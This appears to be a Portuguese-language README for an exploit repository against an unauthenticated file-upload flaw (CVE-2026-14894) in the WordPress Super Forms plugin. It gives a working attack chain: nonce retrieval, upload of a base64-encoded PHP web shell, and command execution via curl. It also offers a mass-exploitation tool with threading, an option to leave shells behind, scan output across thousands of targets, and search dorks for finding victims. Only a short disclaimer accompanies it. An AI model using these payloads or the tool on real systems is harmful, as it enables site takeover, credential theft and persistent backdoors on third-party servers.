
Super Forms Upload de Arquivo Não Autenticado RCE | CVSS 9.8
CVE-2026-14894 é uma vulnerabilidade crítica (CVSS 9.8) de upload arbitrário de arquivos não autenticado no plugin Super Forms – Drag & Drop Form Builder do WordPress (por WebRehab) nas versões ≤ 6.3.313.
O manipulador AJAX nopriv super_submit_form aceita uploads de arquivos via envios de formulário sem:
A barreira do nonce é trivialmente contornada — um manipulador AJAX nopriv separado (super_create_nonce) gera nonces válidos para qualquer visitante não autenticado.
Atacantes realizam upload de arquivos PHP arbitrários via payloads datauristring codificados em Base64 que são escritos diretamente em /wp-content/uploads/superforms/ com o nome de arquivo controlado pelo atacante — resultando em execução direta de código.
| Versão | Status |
|---|---|
| ≤ 6.3.313 | Vulnerável |
| 6.3.314+ | Corrigida |
Instalações ativas: 600.000+
Descoberto por: andrea bocchetti via Wordfence (7 de julho de 2026)
Três verificações de segurança ausentes no manipulador de upload de arquivos AJAX do Super Forms:
// Vulnerável: AJAX nopriv — sem autenticação, sem validação de tipo de arquivo, sem verificação MIME
add_action('wp_ajax_nopriv_super_create_nonce', 'super_create_nonce'); // nonce para qualquer um
add_action('wp_ajax_nopriv_super_submit_form', 'super_submit_form'); // upload para qualquer um
function super_submit_form() {
$data = json_decode(stripslashes($_POST['data']), true);
$file = $data['sf_upload_field']['files'][0];
$content = base64_decode($file['datauristring']); // sem validação MIME
$name = $file['value']; // sem sanitização de nome
fwrite(fopen($upload_path . $name, 'w'), $content); // PHP escrito no disco
}
// Qualquer um pode obter um nonce válido — nenhuma autenticação necessária
function super_create_nonce() {
$nonce = md5(uniqid(rand(), true));
$_SESSION['sf_nonce'] = $nonce;
echo $nonce; // retornado para o atacante não autenticado
}
1. POST /wp-admin/admin-ajax.php?action=super_create_nonce
→ Obtém nonce válido (sem necessidade de autenticação)
2. POST /wp-admin/admin-ajax.php?action=super_submit_form
sf_nonce=NONCE&form_id=1&data={"sf_upload_field":{"files":[{
"datauristring":"data:image/png;base64,PD9waHAgc3lzdGVt...",
"value":"shell.php"}]}}
→ Shell gravado em /wp-content/uploads/superforms/
3. GET /wp-content/uploads/superforms/shell.php?c=id
→ RCE confirmado
git clone https://github.com/shinthink/CVE-2026-14894.git
cd CVE-2026-14894
pip install -r requirements.txt
# Alvo único
python cve_2026_14894.py -t target.com
# Exploração em massa
python cve_2026_14894.py -f targets.txt
# Exploração em massa + salvar resultados
python cve_2026_14894.py -f targets.txt -o shells.txt
# Deixar shells no alvo
python cve_2026_14894.py -t target.com --no-cleanup
# Modo debug (mostrar cada requisição)
python cve_2026_14894.py -t target.com --debug
-t, --target Alvo único (domínio ou IP)
-f, --file Lista de alvos, um por linha
-o, --output Salvar resultados RCE em arquivo
--threads Workers concorrentes (padrão: 30)
--no-cleanup Deixar shells no alvo
--debug Mostrar cada requisição HTTP + etapa em tempo real
-v, --verbose Mostrar saída detalhada
$ python cve_2026_14894.py -t target.com --debug
Super Forms | CVE-2026-14894 | CVSS 9.8
[target.com] [+] Super Forms detectado v6.3.312
[target.com] [*] Nonce obtido
[target.com] [*] Enviando shell...
[target.com] [!] RCE confirmado
Host : target.com
SuperForms : SIM v6.3.312
Upload : SIM
RCE : SIM
Shell : https://target.com/wp-content/uploads/superforms/think_abc.php?t=TOKEN
Output : uid=33(www-data) gid=33(www-data)
Tempo : 2.1s
Alvos: 2500 | Threads: 30
[RCE] target-vuln-01.com 2.1s v6.3.312
[UP] target-patched-02.com 1.8s v6.3.314 (upload bloqueado)
[!] target-no-plugin-03.com 0.5s não instalado
[150/2500] 6% | SuperForms:47 Upload:18 RCE:12
───────────────────────────────────────────────────────
Concluído | 180s | Alvos:2500 Det:47 Upload:18 RCE:12
Passo 1 — Obter nonce
curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=super_create_nonce'
# Retorna nonce hex de 96 caracteres
Passo 2 — Enviar shell PHP
NONCE="abc123..."
SHELL_B64=$(echo '<?php system($_GET["c"]); ?>' | base64 -w0)
curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=super_submit_form' \
-d "sf_nonce=$NONCE" \
-d 'form_id=1' \
-d 'data={"sf_upload_field":{"type":"files","files":[{"datauristring":"data:image/png;base64,'$SHELL_B64'","value":"shell.php","name":"shell.php","label":"attachment"}]}}'
Passo 3 — Executar comandos
curl -sk 'https://target.com/wp-content/uploads/superforms/shell.php?c=id'
body="wp-content/plugins/super-forms"
http.html:"super-forms"
A exploração bem-sucedida resulta em execução remota de código como o usuário do servidor web. A partir daí:
wp-config.php → credenciais do banco de dadosAPENAS PARA FINS EDUCACIONAIS E DE TESTE AUTORIZADO.
Este software destina-se a profissionais de segurança realizando testes de penetração autorizados, organizações auditando sua própria infraestrutura e pesquisadores estudando exploração de vulnerabilidades.
O acesso não autorizado a sistemas de computador é ilegal e pode violar:
- Estados Unidos: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonésia: UU ITE Pasal 30 & 46
- União Europeia: Diretiva 2013/40/EU
- Reino Unido: Computer Misuse Act 1990
Os autores não assumem nenhuma responsabilidade por uso indevido.
| Recurso | Link |
|---|---|
| Wordfence Advisory | wordfence.com |
| IONIX Advisory | ionix.io |
| Entrada NVD | CVE-2026-14894 |
| Pesquisador | andrea bocchetti |
Este projeto não é afiliado à WebRehab ou ao Super Forms.